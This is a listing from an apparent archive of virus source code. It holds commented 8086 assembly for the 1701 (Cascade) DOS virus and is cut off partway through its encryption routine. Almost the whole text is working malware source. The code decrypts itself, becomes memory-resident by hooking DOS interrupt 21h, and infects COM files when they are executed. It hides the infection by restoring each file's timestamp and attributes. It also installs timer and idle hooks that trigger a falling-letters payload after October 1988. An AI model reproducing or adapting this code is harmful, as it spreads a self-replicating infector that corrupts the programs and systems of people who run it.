home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / V1701.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  16KB  |  937 lines

  1.  
  2. L0004:    CALL    L0007            ; PUSH BEGIN ADDRESS
  3. L0007:    POP    BX            ; POP ADDRESS
  4.  
  5.     SUB    BX,0131H        ; CALC DATA POINT
  6.  
  7.     TEST    BYTE PTR CS:[BX+012AH],01H    ; ENCODE VIRUS ?
  8.     JE    L0023            ; VIRUS IS ENCODING. START
  9.  
  10.     LEA    SI,[BX+014DH]        ; START ADDRES FOR ENCODE
  11.     MOV    SP,0682H        ; SIZE OF VIRUS
  12.  
  13. L001B:    XOR    [SI],SI            ; ENCODE ONE BYTE
  14.     XOR    [SI],SP
  15.  
  16.     INC    SI            ; ADDRESS OF NEXT BYTE
  17.  
  18.     DEC    SP            ; LAST BYTE ?
  19.     JNE    L001B            ; NO. ENCODE NEXT BYTE
  20.  
  21. L0023:    MOV    SP,BP            ; RESTORE STACK
  22.     JMP    SHORT L0076
  23.  
  24.     NOP
  25.  
  26.     ADD    [BX+DI],AL
  27.     ESC    09,[SI]
  28. L002C:    DW    0000H
  29.     DEC    BP ;DB 4DH
  30.     POP    DX ;DB 5AH
  31.     ADD    BYTE PTR [BX+SI],00H
  32.     DEC    BX 
  33.     INC    WORD PTR [BX+SI]
  34.     DB    0F0H
  35.     ADC    [BP+DI],AX
  36.     MOV    DL,0BH
  37.     INC    BP
  38.     ADC    AL,26H
  39.     ADD    AL,[BX+SI]
  40.     ADD    [BX+SI],AH
  41.     ADD    [BX+SI+12H],DH
  42.     MOV    BH,65H
  43.     MOV    CX,2A41H
  44.     JNP    LFFCC
  45.     INC    BP
  46. L004D:    DW    0000H
  47.  
  48.     JMP    L0BD4 ;DB 0E9H,82H,0BH
  49.  
  50. L0052:    DW    2 DUP(0000H)
  51.     ADD    [BX+SI],CL ;DB 00H,08H
  52. L0058:    DW    2 DUP(0000H)
  53.     AND    AL,[BX+DI] ;DB 22H,01H
  54.     POP    ES ;DB 07H
  55.     ADD    AL,[BX] ;DB 02H,07H
  56.     ADD    AL,[BX+SI] ;DB 02H,00H
  57.     ADD    [BX+DI],AL ;DB 00H,01H
  58.     ADD    [BX+DI+8518H],BL ;DB 00H,99H,18H,85H
  59.     ADD    AL,00H ;DB 04H,00H
  60.     XOR    BYTE PTR [SI],92H ;DB 80H,34H,92H
  61.     XOR    AL,13H ;DB 34H,13H
  62.     ADD    [BX+DI],AL
  63.     ADC    AL,14H
  64.     SUB    [BX+SI],BP
  65.  
  66. L0076:    CALL    L0079            ; PUSH ADDRES
  67. L0079:    POP    BX            ; POP ADDRES TO BX
  68.     SUB    BX,01A3H        ; CALC DATA POINT
  69.  
  70.     MOV    CS:[BX+0154H],CS    ; SAVE CURRENT SEGMENT
  71.     MOV    CS:[BX+0156H],AX    ; SAVE  AX
  72.  
  73.     MOV    AX,CS:[BX+0158H]
  74.     MOV    WORD PTR DS:[0100H],AX
  75.  
  76.     MOV    AL,CS:[BX+015AH]
  77.     MOV    BYTE PTR DS:[0102H],AL
  78.  
  79.     PUSH    BX            ; PUSH DATA POINT
  80.  
  81.     MOV    AH,30H            ; GET DOS VERSION
  82.     INT    21H
  83.  
  84. L009D:    POP    BX            ; POP DATA POINT
  85.  
  86.     CMP    AL,02H            ; INCORECT DOS VERSION ?
  87.     JB    L00B3            ; YES. EXECUTE PROGRAM
  88.  
  89.     MOV    AX,4BFFH        ; THE VIRUS IS ACTIVE IN MEMORY ?
  90.     XOR    DI,DI
  91.     XOR    SI,SI
  92.     INT    21H
  93.  
  94. L00AB:    CMP    DI,55AAH        ; SPECIAL CODE ?
  95.     JNE    L00C0            ; NO. INSERT VIRUS IN MEMORY
  96.     JB    L00C9            ; ???
  97.  
  98. L00B3:    STI
  99.     PUSH    DS
  100.     POP    ES
  101.     MOV    AX,CS:[BX+0156H]
  102.     JMP    DWORD PTR CS:[BX+0152H]
  103.  
  104. L00C0:    PUSH    BX            ; SAVE BX
  105.  
  106.     MOV    AX,3521H        ; GET INT21 ADDRESS IN ES:BX
  107.     INT    21H
  108.     MOV    AX,BX
  109.  
  110.     POP    BX            ; RESTORE BX
  111.  
  112. L00C9:    MOV    CS:[BX+0161H],AX    ; STORE INT21 ADDRESS
  113.     MOV    CS:[BX+0163H],ES
  114.  
  115.     MOV    AX,0F000H        ; 'BIOS' SEGMENT
  116.     MOV    ES,AX
  117.  
  118.     MOV    DI,0E008H        ; OFFSET 'COPR. IBM',0
  119.  
  120.     CMP    WORD PTR [DI],4F43H    ; CHECK ORIGINAL NAME
  121.     JNE    L00FC
  122.  
  123.     CMP    WORD PTR [DI+02H],5250H
  124.     JNE    L00FC
  125.  
  126.     CMP    WORD PTR [DI+04H],202EH
  127.     JNE    L00FC
  128.  
  129.     CMP    WORD PTR [DI+06H],4249H
  130.     JNE    L00FC
  131.  
  132.     CMP    WORD PTR [DI+08H],004DH
  133.     JE    L00B3            ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS
  134.  
  135. L00FC:    MOV    AX,007BH        ; SIZE OF VIRUS 'MCB'
  136.  
  137.     MOV    BP,CS            ; PROGRAM 'MCB' SEGMENT
  138.     DEC    BP
  139.     MOV    ES,BP
  140.  
  141.     MOV    SI,CS:[0016H]
  142.     MOV    ES:[0001H],SI
  143.  
  144.     MOV    DX,ES:[0003H]        ; GET BLOCK SIZE
  145.  
  146.     MOV    WORD PTR ES:[0003H],AX    ; NEW BLOCK SIZE
  147.  
  148.     MOV    BYTE PTR ES:[0000H],4DH    ; MIDDLE BLOCK
  149.  
  150.     SUB    DX,AX            ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK
  151.     DEC    DX
  152.  
  153.     INC    BP            ; PSP SEGMENT
  154.  
  155.     ADD    BP,AX            ; NEW 'PSP' OF PROGRAM
  156.     INC    BP
  157.  
  158.     MOV    ES,BP            ; SEGMENT OF 'PSP'
  159.  
  160.     PUSH    BX            ; SET NEW SEGMENT OF 'PSP'
  161.     MOV    AH,50H
  162.     MOV    BX,BP
  163.     INT    21H
  164. L012D:    POP    BX
  165.  
  166.     XOR    DI,DI            ; NEW SEGMENT OF STACK
  167.     PUSH    ES            ; PUSH 0
  168.     POP    SS
  169.     PUSH    DI
  170.  
  171.     LEA    DI,[BX+07CEH]        ; ADDRES OF VIRUS
  172.  
  173.     MOV    SI,DI            ; MOVE VIRUS
  174.     MOV    CX,06A5H
  175.     STD
  176.     REPZ    MOVSB
  177.  
  178.     PUSH    ES            ; EXEC VIRUS IN NEW SEGMENT
  179.     LEA    CX,[BX+0270H]
  180.     PUSH    CX
  181.     RETF
  182.  
  183. L0146:    MOV    CS:[BX+0154H],CS    ; SAVE NEW SEGMENT
  184.     LEA    CX,[BX+012AH]        ; SIZE PROGRAM
  185.     REPZ    MOVSB            ; MOVE PROGRAM
  186.  
  187.     MOV    CS:[0036H],CS        ; STORE CS ???
  188.  
  189.     DEC    BP            ; NEW 'MCB' SEGMENT
  190.     MOV    ES,BP
  191.  
  192.     MOV    ES:[0003H],DX        ; NEW SIZE OF BLOCK
  193.     MOV    BYTE PTR ES:[0000H],5AH    ; 'LAST' BLOCK
  194.     MOV    ES:[0001H],CS        ; 'PSP' SEGMENT
  195.  
  196.     INC    BP            ; 'PSP' SEGMENT
  197.     MOV    ES,BP
  198.  
  199.     PUSH    DS            ; ES = NEW VIRUS SEGMENT
  200.     POP    ES
  201.  
  202.     PUSH    CS            ; DS = CURENT VIRUS SEGMENT
  203.     POP    DS
  204.  
  205.     LEA    SI,[BX+012AH]        ; BEGIN VIRUS
  206.     MOV    DI,0100H        ; BEGIN IN NEW SEGMENT
  207.     MOV    CX,06A5H        ; VIRUS SIZE
  208.     CLD
  209.     REPZ    MOVSB            ; MOVE VIRUS
  210.  
  211.     PUSH    ES            ; EXECUTE VIRUS IN NEW SEGMENT
  212.     LEA    AX,DS:[0284H]
  213.     PUSH    AX
  214.     RETF
  215.  
  216. L0184:    MOV    WORD PTR CS:[002CH],0000H    ; CLEAR ENVIROMENT OF VIRUS
  217.     MOV    CS:[0016H],CS
  218.     PUSH    DS                ; PUSH DS
  219.  
  220.     LEA    DX,DS:[031CH]            ; L021C - VIRUS INT21 DRIVER
  221.     PUSH    CS
  222.     POP    DS                ; SET NEW INT21 VECTOR
  223.     MOV    AX,2521H
  224.     INT    21H
  225.  
  226. L019C:    POP    DS                ; POP DS
  227.  
  228.     MOV    AH,1AH                ; SET NEW 'DTA'
  229.     MOV    DX,0080H
  230.     INT    21H
  231.  
  232. L01A4:    CALL    L039A
  233.  
  234.     MOV    AH,2AH                ; GET DATE : CX - YEAR ,
  235.     INT    21H                ; DH - MONTH , DL - DAY
  236.  
  237. L01AB:    CMP    CX,07C4H            ; COMPARE WIDTH 1988 ?
  238.  
  239.     JNBE    L0216                ; YEAR IS > 1988 ?
  240.  
  241.     JE    L01DD                ; YEAR IS 1988 ?
  242.  
  243.     CMP    CX,07BCH            ; YEAR IS 1980 ?
  244.     JNE    L0216                ; NO ?
  245.  
  246.     PUSH    DS                ; STORE DS
  247.  
  248.     MOV    AX,3528H            ; GET ADDRESS INT28
  249.     INT    21H
  250.  
  251. L01BF:    MOV    CS:[013BH],BX            ; SAVE ADDRESS
  252.     MOV    CS:[013DH],ES
  253.  
  254.     MOV    AX,2528H            ; SET NEW INT28
  255.     MOV    DX,0722H            ; L0622 - INT28 DRIVER
  256.     PUSH    CS
  257.     POP    DS
  258.     INT    21H
  259.  
  260. L01D3:    POP    DS                ; RESTORE DS
  261.  
  262.     OR    BYTE PTR CS:[0157H],08H        ; SET 'SHOW' STATUS
  263.     JMP    SHORT L01E2
  264.     NOP
  265.  
  266. L01DD:    CMP    DH,0AH                ; 1988, OCTOBER ?
  267.     JB    L0216
  268.  
  269. L01E2:    CALL    L0462
  270.  
  271.     MOV    AX,1518H
  272.     CALL    L036F
  273.     INC    AX
  274.     MOV    WORD PTR CS:[015EH],AX
  275.     MOV    WORD PTR CS:[0160H],AX
  276.     MOV    WORD PTR CS:[0164H],0001H
  277.  
  278.     MOV    AX,351CH            ; GET ADDRESS INT1C - TIMER
  279.     INT    21H
  280.  
  281. L0200:    MOV    CS:[0133H],BX            ; SAVE ADDRESS
  282.     MOV    CS:[0135H],ES
  283.  
  284.     PUSH    DS                ; SET NEW INT1C
  285.     MOV    AX,251CH
  286.     MOV    DX,06BDH            ; L05BD - INT1C DRIVER
  287.     PUSH    CS
  288.     POP    DS
  289.     INT    21H
  290.  
  291. L0215:    POP    DS
  292.  
  293. L0216:    MOV    BX,0FFD6H
  294.     JMP    L00B3
  295.  
  296. ; ==============  INT 21 DRIVER  ==============
  297.  
  298. L021C:    CMP    AH,4BH                ; EXEC FUNCTION ?
  299.     JE    L0231
  300.  
  301. L0221:    JMP    DWORD PTR CS:[0137H]        ; JUMP TO ORIGINAL INT21
  302.  
  303. L0226:    MOV    DI,55AAH            ; SPECIAL CODE
  304.     LES    AX,DWORD PTR CS:[0137H]        ; ES:AX - ORIGINAL INT21 VECTOR
  305.     MOV    DX,CS                ; DX - VIRUS SEGMENT
  306.     IRET                    ; RETURN
  307.  
  308. L0231:    CMP    AL,0FFH                ; SPECIAL FUNCTION ?
  309.     JE    L0226
  310.  
  311.     CMP    AL,00H                ; EXEC PROGRAM ?
  312.     JNE    L0221                ; NO. QUIT
  313.  
  314.     PUSHF                    ; SAVE REGISTERS
  315. L023A:    DB    'PSQRVWU'
  316.     PUSH    ES
  317.     PUSH    DS
  318.  
  319.     MOV    CS:[0147H],DX            ; SAVE FILE NAME
  320.     MOV    CS:[0149H],DS
  321.  
  322.     PUSH    CS                ; ES = CURENT SEGMENT
  323.     POP    ES
  324.  
  325.     MOV    AX,3D00H            ; OPEN FILE
  326.     INT    21H
  327. L0254:    JB    L02AC                ; ERROR ?
  328.  
  329.     MOV    BX,AX                ; SAVE FP
  330.  
  331.     MOV    AX,5700H            ; GET TIME & DATE OF FILE
  332.     INT    21H
  333.  
  334. L025D:    MOV    CS:[0143H],DX            ; SAVE TIME & DATE
  335.     MOV    CS:[0145H],CX
  336.  
  337.     MOV    AH,3FH                ; READ FIRS 3 BYTES FROM FILE
  338.     PUSH    CS
  339.     POP    DS
  340.     MOV    DX,012EH
  341.     MOV    CX,0003H
  342.     INT    21H
  343. L0273:    JB    L02AC                ; \
  344.     CMP    AX,CX                ;  > ERROR ?
  345.     JNE    L02AC                ; /
  346.  
  347.     MOV    AX,4202H            ; GET FILE SIZE
  348.     XOR    CX,CX
  349.     XOR    DX,DX
  350.     INT    21H
  351.  
  352. L0282:    MOV    WORD PTR CS:[014BH],AX        ; SAVE FILE SIZE
  353.     MOV    CS:[014DH],DX
  354.  
  355.     MOV    AH,3EH                ; CLOSE FILE
  356.     INT    21H
  357.  
  358. L028F:    CMP    WORD PTR CS:[012EH],5A4DH    ; 'EXE' FILE ?
  359.     JNE    L029B                ; NO. INFECT ...
  360.  
  361.     JMP    L0362                ; QUIT
  362.  
  363. L029B:    CMP    WORD PTR CS:[014DH],+00H    ; SIZE OF FILE > 65535 ?
  364.     JNBE    L02AC                ; YES. QUIT
  365.  
  366.     CMP    WORD PTR CS:[014BH],0F93BH    ; SIZE OF FILE > 63803 ?
  367.     JBE    L02AF                ; YES. QUIT
  368.  
  369. L02AC:    JMP    L0362                ; QUIT
  370.  
  371. L02AF:    CMP    BYTE PTR CS:[012EH],0E9H    ; FIRST BYTE IS 'JUMP' CODE ?
  372.     JNE    L02C5                ; NO. INFECT
  373.  
  374.     MOV    AX,WORD PTR CS:[014BH]        ; AX = NEXT WORD - 1703
  375.     ADD    AX,0F959H            ; (TWO BYTES FOR JUMP OFFSET)
  376.  
  377.     CMP    AX,CS:[012FH]            ; AX = FILE SIZE ?
  378.     JE    L02AC                ; YES. QUIT
  379.  
  380. L02C5:    MOV    AX,4300H            ; GET FILE ATTRIBUTE
  381.     LDS    DX,DWORD PTR CS:[0147H]
  382.     INT    21H
  383. L02CF:    JB    L02AC                ; ERROR ?
  384.  
  385.     MOV    CS:[0141H],CX            ; SAVE ATTRIBUTE ?
  386.  
  387.     XOR    CL,20H                ; CHANGE ATTRIBUTE ?
  388.     TEST    CL,27H
  389.     JE    L02E7
  390.  
  391.     MOV    AX,4301H            ; SET NEW ATTRIBUTE
  392.     XOR    CX,CX
  393.     INT    21H
  394. L02E5:    JB    L02AC                ; ERROR ?
  395.  
  396. L02E7:    MOV    AX,3D02H            ; OPEN FILE - READ/WRITE MODE
  397.     INT    21H
  398. L02EC:    JB    L02AC                ; ERROR ?
  399.  
  400.     MOV    BX,AX                ; SAVE FP
  401.  
  402.     MOV    AX,4202H            ; MOVE FP TO END OF FILE
  403.     XOR    CX,CX
  404.     XOR    DX,DX
  405.     INT    21H
  406.  
  407. L02F9:    CALL    L064C                ; WRITE VIRUS CODE
  408.     JNB    L0316                ; ERROR ?
  409.  
  410.     MOV    AX,4200H            ; MOVE FP TO BEGIN VIRUS
  411.     MOV    CX,CS:[014DH]
  412.     MOV    DX,CS:[014BH]
  413.     INT    21H
  414.  
  415. L030D:    MOV    AH,40H                ; CUT FILE (ERASE VIRUS)
  416.     XOR    CX,CX
  417.     INT    21H
  418.  
  419. L0313:    JMP    SHORT L0336            ; QUIT
  420.     NOP
  421.  
  422. L0316:    MOV    AX,4200H            ; MOVE FP TO BEGIN FILE
  423.     XOR    CX,CX
  424.     XOR    DX,DX
  425.     INT    21H
  426. L031F:    JB    L0336
  427.  
  428.     MOV    AX,WORD PTR CS:[014BH]        ; CALC 'JUMP' WORD
  429.     ADD    AX,0FFFEH
  430.  
  431.     MOV    WORD PTR CS:[0150H],AX        ; SAVE 'JUMP' WORD
  432.  
  433.     MOV    AH,40H                ; WRITE 'JUMP' CODE - 3 BYTES
  434.     MOV    DX,014FH
  435.     MOV    CX,0003H
  436.     INT    21H
  437.  
  438. L0336:    MOV    AX,5701H            ; SET OLD TIME & DATA OF FILE
  439.     MOV    DX,CS:[0143H]
  440.     MOV    CX,CS:[0145H]
  441.     INT    21H
  442.  
  443. L0345:    MOV    AH,3EH                ; CLOSE FILE
  444.     INT    21H
  445.  
  446. L0349:    MOV    CX,CS:[0141H]            ; SET OLD ATTRIBUTES ?
  447.     TEST    CL,07H
  448.     JNE    L0358
  449.     TEST    CL,20H
  450.     JNE    L0362
  451.  
  452. L0358:    MOV    AX,4301H            ; SET OLD ATTRIBUTES
  453.     LDS    DX,DWORD PTR CS:[0147H]
  454.     INT    21H
  455.  
  456. L0362:    POP    DS                ; POP REGISTERS
  457. L0363:    DB    07H,']_^ZY[X'
  458.     POPF
  459.     JMP    L0221                ; EXEC FILE
  460.  
  461. L036F:    PUSH    DS                ; SAVE DS
  462.  
  463.     PUSH    CS                ; DS = CS
  464.     POP    DS
  465.  
  466.     PUSH    BX                ; PUSH REGISTERS
  467.     PUSH    CX
  468.     PUSH    DX
  469.  
  470.     PUSH    AX                ; SAVE ARGUMENT
  471.  
  472.     MOV    CX,0007H            ; SIZE OF ARRAY
  473.  
  474.     MOV    BX,0174H            ; ADDRESS OF END OF ARRAY
  475.  
  476.     PUSH    WORD PTR [BX]            ; SAVE LAST ELEMENT
  477.  
  478. L037E:    MOV    AX,[BX-02H]            ; ARRAY[I] = ARRAY[I-1]
  479.     ADC    [BX],AX
  480.     DEC    BX
  481.     DEC    BX
  482.     LOOP    L037E
  483.  
  484.     POP    AX                ; CALC LAST ELEMENT
  485.     ADC    [BX],AX
  486.  
  487.     MOV    DX,[BX]                ; GET LAST ELEMENT
  488.  
  489.     POP    AX                ; POP ARGUMENT
  490.  
  491.     OR    AX,AX                ; ARGUMENT IS NULL ?
  492.     JE    L0393
  493.  
  494.     MUL    DX                ; MUL RANDOM WORD
  495.  
  496. L0393:    MOV    AX,DX                ; RETURN RANDOM WORD
  497.  
  498.     POP    DX                ; RESTORE REGISTERS
  499.     POP    CX
  500.     POP    BX
  501.     POP    DS
  502.     RET
  503.  
  504. L039A:    PUSH    DS
  505.     PUSH    ES
  506.     PUSH    SI
  507.     PUSH    DI
  508.     PUSH    CX
  509.     PUSH    CS
  510.     POP    ES
  511.     MOV    CX,0040H
  512.     MOV    DS,CX
  513.     MOV    DI,0166H
  514.     MOV    SI,006CH
  515.     MOV    CX,0008H
  516.     CLD
  517.     REPZ    MOVSW
  518.     POP    CX
  519.     POP    DI
  520.     POP    SI
  521.     POP    ES
  522.     POP    DS
  523.     RET
  524.  
  525. L03B8:    PUSH    SI
  526.     PUSH    DS
  527.     PUSH    DX
  528.     MOV    AL,DH
  529.     MUL    BYTE PTR DS:[0152H]
  530.     MOV    DH,00H
  531.     ADD    AX,DX
  532.     SHL    AX,1
  533.     ADD    AX,DS:[015AH]
  534.     MOV    SI,AX
  535.     TEST    BYTE PTR DS:[0154H],0FFH
  536.     MOV    DS,DS:[0158H]
  537.     JE    L03EA
  538.     MOV    DX,03DAH
  539.     CLI
  540. L03DC:    IN    AL,DX
  541.     TEST    AL,08H
  542.     JNE    L03EA
  543.     TEST    AL,01H
  544.     JNE    L03DC
  545. L03E5:    IN    AL,DX
  546.     TEST    AL,01H
  547.     JE    L03E5
  548. L03EA:    LODSW
  549.     STI
  550.     POP    DX
  551.     POP    DS
  552.     POP    SI
  553.     RET
  554.  
  555. L03F0:    PUSH    DI
  556.     PUSH    ES
  557.     PUSH    DX
  558.     PUSH    BX
  559.     MOV    BX,AX
  560.     MOV    AL,DH
  561.     MUL    BYTE PTR DS:[0152H]
  562.     MOV    DH,00H
  563.     ADD    AX,DX
  564.     SHL    AX,1
  565.     ADD    AX,DS:[015AH]
  566.     MOV    DI,AX
  567.     TEST    BYTE PTR DS:[0154H],0FFH
  568.     MOV    ES,DS:[0158H]
  569.     JE    L0425
  570.     MOV    DX,03DAH
  571.     CLI
  572. L0417:    IN    AL,DX
  573.     TEST    AL,08H
  574.     JNE    L0425
  575.     TEST    AL,01H
  576.     JNE    L0417
  577. L0420:    IN    AL,DX
  578.     TEST    AL,01H
  579.     JE    L0420
  580. L0425:    MOV    AX,BX
  581.     STOSB
  582.     STI
  583.     POP    BX
  584.     POP    DX
  585.     POP    ES
  586.     POP    DI
  587.     RET
  588.  
  589. L042E:    PUSH    CX
  590. L042F:    PUSH    CX
  591.     MOV    CX,DS:[015CH]
  592. L0434:    LOOP    L0434
  593.     POP    CX
  594.     LOOP    L042F
  595.     POP    CX
  596.     RET
  597.  
  598. L043B:    PUSH    AX
  599.     IN    AL,61H
  600.     XOR    AL,02H
  601.     AND    AL,0FEH
  602.     OUT    61H,AL
  603.     POP    AX
  604.     RET
  605.  
  606. L0446:    CMP    AL,00H
  607.     JE    L0454
  608.     CMP    AL,20H
  609.     JE    L0454
  610.     CMP    AL,0FFH
  611.     JE    L0454
  612.     CLC
  613.     RET
  614.  
  615. L0454:    STC
  616.     RET
  617.  
  618. L0456:    CMP    AL,0B0H
  619.     JB    L0460
  620.     CMP    AL,0DFH
  621.     JNBE    L0460
  622.     STC
  623.     RET
  624.  
  625. L0460:    CLC
  626.     RET
  627.  
  628. L0462:    PUSH    DS
  629.     MOV    AX,0040H
  630.     MOV    DS,AX
  631.     STI
  632.     MOV    AX,WORD PTR DS:[006CH]
  633. L046C:    CMP    AX,DS:[006CH]
  634.     JE    L046C
  635.     XOR    CX,CX
  636.     MOV    AX,WORD PTR DS:[006CH]
  637. L0477:    INC    CX
  638.     JE    L048F
  639.     CMP    AX,DS:[006CH]
  640.     JE    L0477
  641. L0480:    POP    DS
  642.     MOV    AX,CX
  643.     XOR    DX,DX
  644.     MOV    CX,000FH
  645.     DIV    CX
  646.     MOV    WORD PTR CS:[015CH],AX
  647.     RET
  648.  
  649. L048F:    DEC    CX
  650.     JMP    SHORT L0480
  651.  
  652.  
  653. L0492:    MOV    BYTE PTR DS:[0153H],18H
  654.  
  655.     PUSH    DS                ; GET CURENT VIDEO PAGE
  656.     MOV    AX,0040H
  657.     MOV    DS,AX
  658.     MOV    AX,WORD PTR DS:[004EH]
  659.     POP    DS
  660.  
  661.     MOV    WORD PTR DS:[015AH],AX        ; SAVE CURENT VIDEO PAGE
  662.  
  663.     MOV    DL,0FFH                ; EGA CHARACTER GENERATOR FUNC
  664.     MOV    AX,1130H
  665.     MOV    BH,00H
  666.     PUSH    ES
  667.     PUSH    BP
  668.     INT    10H
  669.     POP    BP
  670.     POP    ES
  671.  
  672.     CMP    DL,0FFH
  673.     JE    L04BA
  674.     MOV    DS:[0153H],DL
  675. L04BA:    MOV    AH,0FH
  676.     INT    10H
  677.  
  678. L04BE:    MOV    DS:[0152H],AH
  679.     MOV    BYTE PTR DS:[0154H],00H
  680.     MOV    WORD PTR DS:[0158H],0B000H
  681.     CMP    AL,07H
  682.     JE    L0507
  683.     JB    L04D6
  684.     JMP    L05B6
  685.  
  686. L04D6:    MOV    WORD PTR DS:[0158H],0B800H
  687.     CMP    AL,03H
  688.     JNBE    L0507
  689.     CMP    AL,02H
  690.     JB    L0507
  691.     MOV    BYTE PTR DS:[0154H],01H
  692.     MOV    AL,BYTE PTR DS:[0153H]
  693.     INC    AL
  694.     MUL    BYTE PTR DS:[0152H]
  695.     MOV    WORD PTR DS:[0162H],AX
  696.     MOV    AX,WORD PTR DS:[0164H]
  697.     CMP    AX,DS:[0162H]
  698.     JBE    L0501
  699.     MOV    AX,WORD PTR DS:[0162H]
  700. L0501:    CALL    L036F
  701.     INC    AX
  702.     MOV    SI,AX
  703. L0507:    XOR    DI,DI
  704. L0509:    INC    DI
  705.     MOV    AX,WORD PTR DS:[0162H]
  706.     SHL    AX,1
  707.     CMP    DI,AX
  708.     JBE    L0516
  709.     JMP    L05B6
  710.  
  711. L0516:    OR    BYTE PTR DS:[0157H],02H
  712.     MOV    AL,BYTE PTR DS:[0152H]
  713.     MOV    AH,00H
  714.     CALL    L036F
  715.     MOV    DL,AL
  716.     MOV    AL,BYTE PTR DS:[0153H]
  717.     MOV    AH,00H
  718.     CALL    L036F
  719.     MOV    DH,AL
  720.     CALL    L03B8
  721.     CALL    L0446
  722.     JB    L0509
  723.     CALL    L0456
  724.     JB    L0509
  725.     MOV    BYTE PTR DS:[0155H],AL
  726.     MOV    DS:[0156H],AH
  727.     MOV    CL,DS:[0153H]
  728.     MOV    CH,00H
  729. L0549:    INC    DH
  730.     CMP    DH,DS:[0153H]
  731.     JNBE    L05A3
  732.     CALL    L03B8
  733.     CMP    AH,DS:[0156H]
  734.     JNE    L05A3
  735.     CALL    L0446
  736.     JB    L0587
  737. L055F:    CALL    L0456
  738.     JB    L05A3
  739.     INC    DH
  740.     CMP    DH,DS:[0153H]
  741.     JNBE    L05A3
  742.     CALL    L03B8
  743.     CMP    AH,DS:[0156H]
  744.     JNE    L05A3
  745.     CALL    L0446
  746.     JNB    L055F
  747.     CALL    L043B
  748.     DEC    DH
  749.     CALL    L03B8
  750.     MOV    BYTE PTR DS:[0155H],AL
  751.     INC    DH
  752. L0587:    AND    BYTE PTR DS:[0157H],0FDH
  753.     DEC    DH
  754.     MOV    AL,20H
  755.     CALL    L03F0
  756.     INC    DH
  757.     MOV    AL,BYTE PTR DS:[0155H]
  758.     CALL    L03F0
  759.     JCXZ    L05A1
  760.     CALL    L042E
  761.     DEC    CX
  762. L05A1:    JMP    SHORT L0549
  763.  
  764. L05A3:    TEST    BYTE PTR DS:[0157H],02H
  765.     JE    L05AD
  766.     JMP    L0509
  767.  
  768. L05AD:    CALL    L043B
  769.     DEC    SI
  770.     JE    L05B6
  771.     JMP    L0507
  772.  
  773. L05B6:    IN    AL,61H
  774.     AND    AL,0FCH
  775.     OUT    61H,AL
  776.     RET
  777.  
  778. ; ==============  INT 1C DRIVER  ==============
  779.  
  780. L05BD:    TEST    BYTE PTR CS:[0157H],09H        ; SHOW ?
  781.     JNE    L061D                ; NO. EXEC ORIGINAL INT1C
  782.  
  783.     OR    BYTE PTR CS:[0157H],01H        ; CLEAR SHOW STATUS
  784.  
  785.     DEC    WORD PTR CS:[015EH]        ; DECREMENT COUNTER
  786.     JNE    L0617                ; FAILING LETERS ?
  787.  
  788.     PUSH    DS                ; SAVE DS & ES
  789.     PUSH    ES
  790.  
  791.     PUSH    CS                ; DS = CS
  792.     POP    DS
  793.  
  794.     PUSH    CS                ; ES = DS
  795.     POP    ES
  796.  
  797. L05D7:    DB    'PSQRVWU'            ; PUSH REGISTERS
  798.  
  799.     MOV    AL,20H                ; NO INTERUPTS
  800.     OUT    20H,AL
  801.  
  802.     MOV    AX,WORD PTR DS:[0160H]
  803.  
  804.     CMP    AX,0438H
  805.     JNB    L05EE
  806.  
  807.     MOV    AX,0438H
  808.  
  809. L05EE:    CALL    L036F                ; CALC RANDOM WORD FOR TIMER
  810.     INC    AX
  811.  
  812.     MOV    WORD PTR DS:[015EH],AX        ; STORE NEW COUNTER
  813.     MOV    WORD PTR DS:[0160H],AX
  814.  
  815.     CALL    L0492
  816.  
  817.     MOV    AX,0003H
  818.     CALL    L036F
  819.     INC    AX
  820.  
  821.     MUL    WORD PTR DS:[0164H]
  822.     JNB    L060B
  823.  
  824.     MOV    AX,0FFFFH
  825. L060B:    MOV    WORD PTR DS:[0164H],AX
  826.  
  827. L060E:    DB    ']_^ZY[X'            ; RESTORE REGISTERS
  828.     POP    ES
  829.     POP    DS
  830.  
  831. L0617:    AND    BYTE PTR CS:[0157H],0FEH    ; SET SHOW STATUS
  832.  
  833. L061D:    JMP    DWORD PTR CS:[0133H]        ; EXEC OROGINAL INT1C
  834.  
  835.     TEST    BYTE PTR CS:[0157H],08H
  836.     JE    L0647
  837.  
  838. ; ==============  INT 28 DRIVER  ==============
  839.  
  840. L0622:    PUSH    AX            ; SAVE REGISTERS
  841.     PUSH    CX
  842.     PUSH    DX
  843.  
  844.     MOV    AH,2AH            ; GET DATE
  845.     INT    21H
  846.  
  847. L0631:    CMP    CX,07C4H        ; COMPARE WIDTH 1988
  848.     JB    L0644            ; YEAR IS < 1988 ? - NO SHOW
  849.     JNBE    L063E            ; YEAR IS > 1988 ? - SET FLAG FOR SHOW
  850.  
  851.     CMP    DH,0AH            ; YEAR IS 1988. MONTH IS < OCTOBER ?
  852.     JB    L0644            ; YES. NO SHOW
  853.  
  854. L063E:    AND    BYTE PTR CS:[0157H],0F7H    ; SET SHOW FLAG
  855.  
  856. L0644:    POP    DX            ; RESTORE REGISTERS
  857.     POP    CX
  858.     POP    AX
  859.  
  860. L0647:    JMP    DWORD PTR CS:[013BH]    ; EXECUTING ORIGINAL INT28
  861.  
  862. L064C:    PUSH    ES
  863.     PUSH    BX
  864.  
  865.     MOV    AH,48H            ; GET MEMORY - 1712 BYTES
  866.     MOV    BX,006BH
  867.     INT    21H
  868. L0655:    POP    BX
  869.  
  870.     JNB    L065B            ; NO ERROR ?
  871.  
  872. L0658:    STC                ; ERROR - QUIT
  873.     POP    ES
  874.     RET
  875.  
  876. L065B:    MOV    BYTE PTR CS:[0100H],01H
  877.  
  878. L0661:    MOV    ES,AX            ; ES = NEW MEMORY SEGMENT
  879.  
  880.     PUSH    CS            ; DS = VIRUS SEGMENT
  881.     POP    DS
  882.  
  883.     XOR    DI,DI            ; MOVE VIRUS CODE TO NEW SEGMENT
  884.     MOV    SI,0100H
  885.     MOV    CX,06A5H        ; SIZE OF VIRUS - 1701 BYTES
  886.     CLD
  887.     REPZ    MOVSB
  888.  
  889.     MOV    DI,0023H        ; BEGIN FOR CODING V.CODE
  890.  
  891.     MOV    SI,0123H        ; CALC CODING WORD
  892.     ADD    SI,DS:[014BH]
  893.  
  894.     MOV    CX,0682H        ; SIZE OF CODING CODE - 1666 BYTES
  895.  
  896. L067D:    XOR    ES:[DI],SI        ; CODING BYTE
  897.     XOR    ES:[DI],CX
